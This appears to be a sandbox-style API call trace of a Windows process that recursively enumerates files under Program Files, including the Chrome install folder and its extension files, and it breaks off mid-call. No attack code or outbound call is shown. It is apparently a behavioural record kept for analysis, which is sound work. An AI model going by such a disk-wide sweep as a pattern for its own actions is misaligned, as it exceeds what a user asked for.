[0249.454] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c2406d7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8c2406d7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb04ef6b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xad000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0249.454] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d923a, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8d4d923a, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf37f6470, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0249.454] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d923a, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8d4d923a, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf37f6470, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0249.454] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0249.458] GetProcessHeap () returned 0x550000 [0249.458] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0249.458] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9c11cf80, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0x9c11cf80, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0249.458] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0249.458] GetProcessHeap () returned 0x550000 [0249.458] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0249.486] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0249.486] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xdb07d620, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb07d620, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1 [0249.486] GetProcessHeap () returned 0x550000 [0249.486] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0249.486] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xdb07d620, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb07d620, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0249.486] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xdb07d620, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb07d620, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.486] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1 [0249.486] GetProcessHeap () returned 0x550000 [0249.486] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0249.487] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0249.487] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.487] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application", cAlternateFileName="APPLIC~1")) returned 1 [0249.487] GetProcessHeap () returned 0x550000 [0249.487] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0249.487] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0249.488] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.488] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="58.0.3029.110", cAlternateFileName="580302~1.110")) returned 1 [0249.488] GetProcessHeap () returned 0x550000 [0249.488] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0249.488] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0249.488] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.573] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe661340, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="58.0.3029.110.manifest", cAlternateFileName="580302~1.MAN")) returned 1 [0249.573] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db1d780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7db1d780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x744b1e7c, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x2f01758, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.dll", cAlternateFileName="")) returned 1 [0249.573] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x74ce3fd2, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.dll.sig", cAlternateFileName="CHROME~3.SIG")) returned 1 [0249.573] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x73db0ff6, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.exe.sig", cAlternateFileName="CHROME~2.SIG")) returned 1 [0249.574] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe6e02b4, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x6f44c, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_100_percent.pak", cAlternateFileName="CHROME~1.PAK")) returned 1 [0249.574] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff5b27e6, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xb0b82, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_200_percent.pak", cAlternateFileName="CHROME~2.PAK")) returned 1 [0249.574] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dd7ed80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7dd7ed80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7553c382, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x3953558, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_child.dll", cAlternateFileName="CHROME~1.DLL")) returned 1 [0249.574] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x75e2d09a, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_child.dll.sig", cAlternateFileName="CHROME~1.SIG")) returned 1 [0249.574] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x76043186, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x86558, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_elf.dll", cAlternateFileName="CHROME~2.DLL")) returned 1 [0249.574] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7638a542, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x94b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_watcher.dll", cAlternateFileName="CHROME~3.DLL")) returned 1 [0249.574] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe9a43f6, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x447ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3dcompiler_47.dll", cAlternateFileName="D3DCOM~1.DLL")) returned 1 [0249.574] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="default_apps", cAlternateFileName="DEFAUL~1")) returned 1 [0249.574] GetProcessHeap () returned 0x550000 [0249.574] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0249.575] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0249.583] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.583] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea6c768, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="docs.crx", cAlternateFileName="")) returned 1 [0249.583] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea82701, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x63d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="drive.crx", cAlternateFileName="")) returned 1 [0249.583] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeab0d44, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="external_extensions.json", cAlternateFileName="EXTERN~1.JSO")) returned 1 [0249.583] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea9adab, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmail.crx", cAlternateFileName="")) returned 1 [0249.583] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeaa9811, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="youtube.crx", cAlternateFileName="")) returned 1 [0249.583] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeaa9811, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="youtube.crx", cAlternateFileName="")) returned 0 [0249.584] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0249.584] GetProcessHeap () returned 0x550000 [0249.584] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0249.585] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7689b536, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x3358, dwReserved0=0x0, dwReserved1=0x0, cFileName="eventlog_provider.dll", cAlternateFileName="EVENTL~1.DLL")) returned 1 [0249.585] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extensions", cAlternateFileName="EXTENS~1")) returned 1 [0249.585] GetProcessHeap () returned 0x550000 [0249.585] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0249.585] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0249.586] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.586] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeab3455, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x0, dwReserved1=0x0, cFileName="external_extensions.json", cAlternateFileName="EXTERN~1.JSO")) returned 1 [0249.587] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeab3455, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x0, dwReserved1=0x0, cFileName="external_extensions.json", cAlternateFileName="EXTERN~1.JSO")) returned 0 [0249.587] FindClose (in: hFindFile=0x639888 | 